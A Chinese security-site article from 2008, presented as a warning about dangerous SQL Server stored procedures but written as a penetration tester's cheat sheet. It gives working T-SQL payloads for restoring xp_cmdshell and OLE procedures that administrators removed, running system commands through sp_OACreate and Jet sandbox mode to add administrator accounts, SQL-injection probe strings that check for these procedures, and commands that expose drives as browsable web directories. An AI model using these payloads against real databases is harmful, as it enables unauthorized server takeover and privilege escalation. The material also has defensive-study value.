通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 安全防御 >> 安全相关 >> 文章正文
推荐:SQL存储过程带来的安全危险
责任编辑:酷酷の鱼   更新日期:2008-3-6
 

来源:安全中国

看过笔者文章的读者可能知道,笔者在渗透的时候最喜欢使用一些存储过程有些都是已知的,但是很多人并不常用,强大的SQL存储过程带来的安全危险是不能忽视的,这里我把笔者整理的一些常用的SQL语句以及存储过程共享出来,希望能引起注意。

    首先说一下如果我们手中有SA权限那么我们该怎么做呢? 很多朋友就会想到了执行DOS命令加一个管理员权限的用户 用SQL执行的语句就是

    exec master.dbo.xp_cmdshell ’net user xx xx/add’ 但是很多时候我们在使用工具的时候并不能成功的加用户,

    原因可能有以下几个:

    1.xp_cmdshell 被删除
    2.xp_cmdshell所使用的xplog70.dll被删除

    那么如果是第一中情况的话就很简单了,我们只需要恢复存储过程就可以了。恢复存储过程的语句如下:

    ★
    use master 
    exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’ 
    exec sp_addextendedproc xp_dirtree,’xpstar.dll’ 
    exec sp_addextendedproc xp_enumgroups,’xplog70.dll’ 
    exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’ 
    exec sp_addextendedproc xp_loginconfig,’xplog70.dll’ 
    exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’ 
    exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’ 
    exec sp_addextendedproc sp_OACreate,’odsole70.dll’ 
    exec sp_addextendedproc sp_OADestroy,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAMethod,’odsole70.dll’ 
    exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’ 
    exec sp_addextendedproc sp_OAStop,’odsole70.dll’ 
    exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’ 
    exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’ 
    exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’ 
    exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’ 
    exec sp_addextendedproc xp_regread,’xpstar.dll’ 
    exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’ 
    exec sp_addextendedproc xp_regwrite,’xpstar.dll’ 
    ★

    以上语句就是恢复存储过程需要的语句了,我们只需要执行以上语句就可以成功恢复存储过程,继续执行我们想要的语句,另外我再告诉大家xp_cmdshell新的恢复办法。

    扩展储存过程被删除以后可以有很简单的办法恢复:
    删除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc ’xp_cmdshell’

    恢复
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

    这样可以直接恢复,不用去管sp_addextendedproc是不是存在

    那么我们继续来解决第二个问题, 如果是DLL被删了该怎么办呢? 很多朋友说再传一个上去就好了,可是笔者还是感觉那样很麻烦可以执行系统命令的存储过程可还有一个,那就是SP_OAcreate ,语句是:
    ★
    DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD 
@shell,’run’,null, ’C:\WINdows\system32\cmd.exe /c net user iisloger hook /add’
    ★
    上面的语句就是添加一个用户名为iisloger密码为hook的用户。但是我们要注意了,使用 SP_OAcreate是需要wscript.shell来支持的。如果wscript.shell被删除的话就是不能执行成功了。 

    另外在SA权限的时候我们还有一种方法可以执行系统命令,那就是我们常说的沙盒模式
    代码如下:
    ★
    EXEC master.dbo.xp_regwrite ’HKEY_LOCAL_MACHINE’,’SoftWare\Microsoft\Jet\4.0    \Engine’,’SandBoxMode’,’REG_DWORD’,’0’
    意思是修改注册表 开启沙盒

    Select * From OpenRowSet(’Microsoft.Jet.OLEDB.4.0’,’;Database=c:\windows\system32\ias\ias.mdb’,’select shell("net user sadfish fish /add")’);
    利用沙盒模式来添加个管理员
    ★ 
    因为系统默认的注册表键值是不允许执行沙盒模式命令的,所以需要修改注册表。但是只有SA权限才有权利修改注册表,所以在以上两种方法都不可以用的时候就可以考虑沙盒模式

    至于DB权限我就不用多说了,列目录寻找WEB目录从而进行备份就可以拿到WEBSHELL了,进而再进行提权。

    下面我在列出一些笔者常用的语句给大家参考

    检测 xp_cmdshell (CMD命令)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

    检测 xp_regread (注册表读取功能)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

    检测 sp_makewebtask (备份功能)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

    检测 sp_addextendedproc|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')

    检测 xp_subdirs 读子目录|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

    检测 xp_dirtree 读子目录|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

    检测 SP_OAcreate (执行命令)|
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

    执行CMD命令 SP_OAcreate
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add'

    sp_OACreate:
    运行CMD并显示回显的要求是Wscript.shell和Scripting.FileSystemObject可用   //要记住这点,如果服务器over了,wscript.shell那么这存储过程也没多大的用了在注入方面。

    建目录 SP_OAcreate|
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'

    创建一个虚拟目录E盘|
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'

    设置虚拟目录为可读 e |
    ;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

[1] [2] 下一页

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    普通文章 网管安全管理的12种方法
    普通文章 ntfs.dll病毒ntfs.dll木马清除办法
    普通文章 教你从原理入手扼杀传播病毒的恶意网页
    普通文章 快速定位Linux中的网络服务
    普通文章 Linux操作系统的开机流程分析
    推荐文章 推荐:SQL存储过程带来的安全危险
    普通文章 用WVS保障Web应用程序安全
    普通文章 病毒进入驱动级 与杀毒软件争夺系统控制权
    普通文章 PayPal预警苹果Safari无反钓鱼功能 用户谨慎使用
    普通文章 中央情报局分析专家称 黑客通过切断电网发起攻击
    热门文章
    普通文章IE中安装恶意插件 恶意删除QQ医生程序
    普通文章网游《问道》“问盗” 杀毒软件被禁锢
    普通文章下载器瞄准卡巴 窃听者变身微软程序
    普通文章篡改IE浏览器默认首页 焦点间谍发送广告
    普通文章拆墙工人突破防火墙 盗号木马对准网游
    普通文章利用系统漏洞传播病毒 伪颗粒窃取玩家信息
    普通文章病毒突破主动防御 木马伪装成Skype程序
    普通文章火狐和Opera 浏览器发现漏洞 可泄漏用户访问信息
    普通文章系统安全:跟我走进Windows Vista系统的安全中心
    普通文章Linux系统下如何修复感染病毒Grep程序
    精彩专题